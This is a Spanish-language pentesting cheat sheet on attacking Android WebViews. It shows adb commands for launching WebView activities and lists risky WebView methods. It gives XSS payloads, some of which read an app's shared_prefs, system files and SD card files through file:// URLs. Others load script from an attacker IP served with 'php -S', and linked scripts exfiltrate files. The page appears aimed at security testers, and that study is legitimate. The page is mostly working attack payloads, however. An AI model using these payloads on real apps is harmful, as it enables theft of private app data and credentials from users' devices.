> For the complete documentation index, see [llms.txt](https://mobile.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mobile.mrw0l05zyn.cl/android/analisis-dinamico/webviews.md).

# WebViews

## Android Debug Bridge (adb)

```sh
adb shell am start -n <app-package-name>/.<webview-activity-name> -a android.intent.action.VIEW --es <parameter> "<string-value>"
adb shell am start -n <app-package-name>/.<webview-activity-name> -a android.intent.action.VIEW --es url "https://example.com/"
```

## Funciones potencialmente explotables

```java
loadUrl()
setJavaScriptEnabled()
addJavascriptInterface()
setAllowContentAccess()
setAllowFileAccess()
setAllowFileAccessFromFileURLs()
setAllowUniversalAccessFromFileURLs()
loadData()
postUrl()
saveState()
```

## Cross-site scripting (XSS)

### Payloads <a href="#cross-site-scripting-xss-payloads" id="cross-site-scripting-xss-payloads"></a>

```html
<script>alert(0)</script>
<script>alert('XSS');</script>
<script>alert(location)</script>
<img src=noexiste onerror=alert(0)>
<img src="noexiste" onerror="alert('XSS')">
```

* [common-xss-payloads.txt](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/common-xss-payloads.txt)

### Lectura de archivos de la aplicación <a href="#cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion" id="cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///data/data/<app-package-name>/shared_prefs/<file-name>",false);XHR.send();alert(XHR.responseText);</script>
```

### Lectura de archivos del sistema <a href="#cross-site-scripting-xss-lectura-de-archivos-del-sistema" id="cross-site-scripting-xss-lectura-de-archivos-del-sistema"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///system/etc/hosts",false);XHR.send();alert(XHR.responseText);</script>
```

### Lectura de archivos de la aplicación desde SD card <a href="#cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion-desde-sd-card" id="cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion-desde-sd-card"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///storage/emulated/0/Android/data/<app-package-name>/files/<file-name>",false);XHR.send();alert(XHR.responseText);</script>
```

### Ejecución de payload desde recurso externo <a href="#cross-site-scripting-xss-ejecucion-de-payload-desde-recurso-externo" id="cross-site-scripting-xss-ejecucion-de-payload-desde-recurso-externo"></a>

Creación de archivo JavaScript con payload a ejecutar.

{% code title="xss.js" %}

```javascript
alert(0)
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xss.js`.

```sh
php -S 0.0.0.0:80
```

Payloads para cargar JavaScript desde recurso externo.

```html
<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">
```

### Exfiltración de archivos de la aplicación <a href="#cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion" id="cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion"></a>

* [exf-sharedpreferences-files.js](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/exf-sharedpreferences-files.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/xss.php)

### Exfiltración de archivos de la aplicación desde SD card <a href="#cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion-desde-sd-card" id="cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion-desde-sd-card"></a>

* [exf-sd-card-files.js](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/exf-sd-card-files.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/xss.php)
